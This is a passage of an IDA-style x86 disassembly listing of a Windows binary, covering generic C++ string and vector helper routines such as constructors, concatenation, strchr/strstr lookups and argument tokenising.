sub_409AA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AE0 proc near ; CODE XREF: sub_401424j mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43E010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409AE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409B10: ; CODE XREF: ___:00402063j ; ___:loc_402171j push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409B28: ; CODE XREF: ___:00409B1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B40 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B80 proc near ; CODE XREF: sub_4014C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FBE mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BC0 proc near ; CODE XREF: sub_4020F4j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4437F4 push ecx mov dword ptr [esi], offset off_43E010 call sub_5EDAB2 nop add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409BC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C30 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43E010 cmp eax, edi jz short loc_409C4C push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C4C: ; CODE XREF: sub_409C30+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409C5F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C5F: ; CODE XREF: sub_409C30+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409C30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C80 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409CEA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409CAA push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409CAA: ; CODE XREF: sub_409C80+1Fj lea ebx, [ebp+2] push ebx call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0DDAAE852h, 83907783h db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409CEA: ; CODE XREF: sub_409C80+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409C80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D20 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_409D20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409D50: ; CODE XREF: ___:00401A46j mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4437F4 push ecx nop call sub_5EDAB2 add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015D7 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409DA0 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409E2F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409E2F: ; CODE XREF: sub_409DA0+84j mov [ebx+9], ebp loc_409E32: ; CODE XREF: sub_409DA0+Cj ; sub_409DA0+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409DA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E70 proc near ; CODE XREF: sub_4016BDj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401A9B pop esi retn 4 sub_409E70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EA0 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4437F4 push ecx call sub_5EDAB2 nop add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401A9B pop esi add esp, 10h retn 4 sub_409EA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EF0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409F07 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F07: ; CODE XREF: sub_409EF0+7j mov eax, [ecx+9] push ebx loc_409F0B: ; CODE XREF: sub_409EF0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_409F36 test cl, cl jz short loc_409F2F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_409F36 add eax, 2 add esi, 2 test cl, cl jnz short loc_409F0B loc_409F2F: ; CODE XREF: sub_409EF0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F36: ; CODE XREF: sub_409EF0+23j ; sub_409EF0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409EF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F60 proc near ; CODE XREF: sub_401B72j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409F60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F90 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_409FA3 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_409FA3: ; CODE XREF: sub_409F90+6j push eax mov eax, [ecx+9] push eax nop call near ptr 77C4624Eh add esp, 8 retn 4 sub_409F90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FD0 proc near ; CODE XREF: sub_4021ADj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409FD0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A000 proc near ; CODE XREF: sub_401CBCj push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A013 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A013: ; CODE XREF: sub_40A000+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A000 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A030 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_436840 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A072 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015D7 loc_40A072: ; CODE XREF: sub_40A030+13j add esp, 2000h retn sub_40A030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0A0 proc near ; CODE XREF: sub_401D20j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A0A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0C0 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_50FAE0 push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx ; strchr add esp, 8 test eax, eax jnz short loc_40A0E4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A0E4: ; CODE XREF: sub_40A0C0+1Cj mov ecx, [esi+9] push edi push ecx call ebx ; strchr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A0C0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A110 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401807 retn 4 sub_40A110 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A130 proc near ; CODE XREF: sub_401807j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402117 pop esi retn 8 sub_40A130 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A160 proc near ; CODE XREF: sub_4013E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402117 retn 4 sub_40A160 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A180 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A195 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A195: ; CODE XREF: sub_40A180+Bj mov eax, [esi+9] mov ebx, dword_50FAF8 push edi push eax call ebx ; strstr add esp, 8 test eax, eax jnz short loc_40A1AF pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1AF: ; CODE XREF: sub_40A180+27j mov ecx, [esi+9] push edi push ecx call ebx ; strstr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A180 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1F0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A203 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A203: ; CODE XREF: sub_40A1F0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A216 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A216: ; CODE XREF: sub_40A1F0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_4367FA sub_40A1F0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A270 proc near ; CODE XREF: sub_4013D9j mov eax, [ecx+11h] retn sub_40A270 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A290 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A290 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A2E2 mov esi, [esp+34h+arg_0] push offset byte_446F70 mov ecx, esi call sub_401861 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A2E2: ; CODE XREF: sub_40A290+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_401424 mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_4367FA sub_40A290 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015D7 push ebx call sub_4367E2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014C9 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A3C0 proc near ; CODE XREF: sub_401E2Ej var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013D9 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A3C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A400: ; CODE XREF: ___:0040193Dj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_4020F4 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A430 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A471 mov esi, [esp+44h+arg_0] push offset byte_446F70 mov ecx, esi call sub_401861 jmp loc_40A5A4 ; --------------------------------------------------------------------------- loc_40A471: ; CODE XREF: sub_40A430+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_401690 mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401861 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014D3 mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A555 push ebx loc_40A4B1: ; CODE XREF: sub_40A430+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A4C0 loc_40A4B7: ; CODE XREF: sub_40A430+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A4B7 loc_40A4C0: ; CODE XREF: sub_40A430+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A4CF inc eax mov [esp+48h+var_3C], eax loc_40A4CF: ; CODE XREF: sub_40A430+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401988 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A51F test cl, cl jz short loc_40A507 loc_40A4EB: ; CODE XREF: sub_40A430+D5j cmp cl, 22h jnz short loc_40A4FC mov cl, [eax+1] cmp cl, 20h jz short loc_40A507 test cl, cl jz short loc_40A507 loc_40A4FC: ; CODE XREF: sub_40A430+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A4EB loc_40A507: ; CODE XREF: sub_40A430+B9j ; sub_40A430+C6j ... cmp byte ptr [eax], 0 jz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A54A add eax, 2 jmp short loc_40A546 ; --------------------------------------------------------------------------- loc_40A51F: ; CODE XREF: sub_40A430+B5j test cl, cl jz short loc_40A534 mov dl, [edi] loc_40A525: ; CODE XREF: sub_40A430+102j cmp cl, dl jz short loc_40A534 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A525 loc_40A534: ; CODE XREF: sub_40A430+F1j ; sub_40A430+F7j mov cl, [eax] test cl, cl jz short loc_40A54A cmp cl, [edi] jnz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A546: ; CODE XREF: sub_40A430+EDj mov [esp+48h+var_3C], eax loc_40A54A: ; CODE XREF: sub_40A430+DAj ; sub_40A430+E8j ... mov cl, [eax] test cl, cl jnz loc_40A4B1 pop ebx loc_40A555: ; CODE XREF: sub_40A430+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A56D push offset byte_446F70 jmp short loc_40A57A ; --------------------------------------------------------------------------- loc_40A56D: ; CODE XREF: sub_40A430+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F64 mov eax, [eax] push eax loc_40A57A: ; CODE XREF: sub_40A430+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401861 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_40158C ; --------------------------------------------------------------------------- loc_40A5A4: ; CODE XREF: sub_40A430+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A430 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A630 proc near ; CODE XREF: sub_4016AEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A630 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A670 proc near ; CODE XREF: sub_40200Ej arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_40A670 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6A0 proc near ; CODE XREF: sub_401A87j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 retn 4 sub_40A6A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6C0 proc near ; CODE XREF: sub_40146Fj arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A6C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A6E0: ; CODE XREF: ___:0040149Cj mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A700 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A700 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A720 proc near ; CODE XREF: sub_4017E4j mov eax, [ecx+9] retn sub_40A720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A740 proc near ; CODE XREF: sub_4014D3j mov eax, [ecx+9] retn sub_40A740 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A760 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A760 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A790 proc near ; CODE XREF: sub_40158Cj push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A790 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7E0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A7EA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A7EA: ; CODE XREF: sub_40A7E0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A7E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A810 proc near ; CODE XREF: sub_401F64j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A828 mov ecx, esi call sub_401EE7 loc_40A828: ; CODE XREF: sub_40A810+Fj mov ecx, esi call sub_401D1B lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A810 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A850 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40164F push eax mov ecx, esi call sub_4016EF pop esi retn 4 sub_40A850 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A880 proc near ; CODE XREF: sub_401D1Bj mov eax, [ecx+4] retn sub_40A880 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8A0 proc near ; CODE XREF: sub_40164Fj mov eax, [ecx+8] retn sub_40A8A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_4016EFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D1B mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013CF mov ecx, edi call sub_401D1B lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A8C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A910 proc near ; CODE XREF: sub_4019A6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40A930 loc_40A921: ; CODE XREF: sub_40A910+1Ej push esi mov ecx, edi call sub_4018B1 add esi, 4 cmp esi, ebx jnz short loc_40A921 loc_40A930: ; CODE XREF: sub_40A910+Fj pop edi pop esi pop ebx retn 8 sub_40A910 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A950: ; CODE XREF: sub_401EE7j push 0FFFFFFFFh push offset loc_438AB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] call near ptr 760A0430h nop lea edx, [esp+14h] push offset dword_43F080 push edx call sub_436832 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A9D0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40A9D0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9F0 proc near ; CODE XREF: sub_4013CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AABB mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AA23 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AA25 ; --------------------------------------------------------------------------- loc_40AA23: ; CODE XREF: sub_40A9F0+26j mov ebp, edi loc_40AA25: ; CODE XREF: sub_40A9F0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DCF ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4010CD mov ecx, [esp+10h+arg_8] mov 